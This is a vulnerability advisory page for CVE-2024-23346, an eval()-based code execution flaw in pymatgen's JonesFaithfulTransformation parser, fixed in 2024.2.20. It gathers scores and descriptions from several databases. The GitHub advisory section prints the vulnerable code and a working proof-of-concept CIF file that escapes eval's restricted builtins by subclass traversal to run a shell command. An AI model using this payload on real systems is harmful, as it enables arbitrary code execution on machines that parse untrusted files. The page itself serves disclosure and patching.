9.4critical
pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string
- Severity
- 9.4critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 3.85% (higher than 90% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-vgv8-5cpj-qj2fPYSEC-2024-226
Description
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| materialsproject pymatgen | < 2024.2.20 | CVE List |
| pymatgen pymatgen | before 2024.2.20 | CVE List |
| pymatgen (PyPI) | before 2024.2.20, before c231cbd3d5147ee920a37b6ee9dd236b376bcf5a | GitHub Advisory Database, PyPA Advisory Database |
| materialsvirtuallab pymatgen | before 2024.2.20 | NVD |
All scores
| GitHub_M | 9.4critical CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| GitHub | 9.3critical CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| NVD | 7.8high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | 7.8high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.
GitHub Advisory Database
Summary
A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.
Details
The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().
Vulnerable code
basis_change = [
re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])
The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.
PoC
The vulnerability can be exploited as follows:
Create a file vuln.cif with the following contents:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Then, parse the cif file with the following code:
from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
NVD (es)
Pymatgen (Python Materials Genomics) es una librería Python de código abierto para análisis de materiales. Existe una vulnerabilidad de seguridad crítica en el método `JonesFaithfulTransformation.from_transformation_str()` dentro de la librería `pymatgen` antes de la versión 2024.2.20. Este método utiliza de forma insegura `eval()` para procesar la entrada, lo que permite la ejecución de código arbitrario al analizar entradas que no son de confianza. La versión 2024.2.20 soluciona este problema.
References
| https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f | advisory, evidence, exploit, vendor-advisory, web | |
| https://github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a | fix, patch, web | |
| https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108 | broken-link, web | |
| https://www.vicarius.io/vsociety/posts/critical-security-flaw-in-pymatgen-library-cve-2024-23346 | evidence, exploit, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2024-23346 | advisory | |
| https://github.com/materialsproject/pymatgen | package | |
| https://github.com/pypa/advisory-database/tree/main/vulns/pymatgen/PYSEC-2024-226.yaml | web | |
| https://github.com/advisories/GHSA-vgv8-5cpj-qj2f | advisory | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-23346 changed 2024-08-19 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-vgv8-5cpj-qj2f changed 2026-06-10 | CC-BY-4.0 |
| NVD | CVE-2024-23346 changed 2026-06-17 | Public domain |
| PyPA Advisory Database | PYSEC-2024-226 changed 2026-06-10 | CC-BY-4.0 |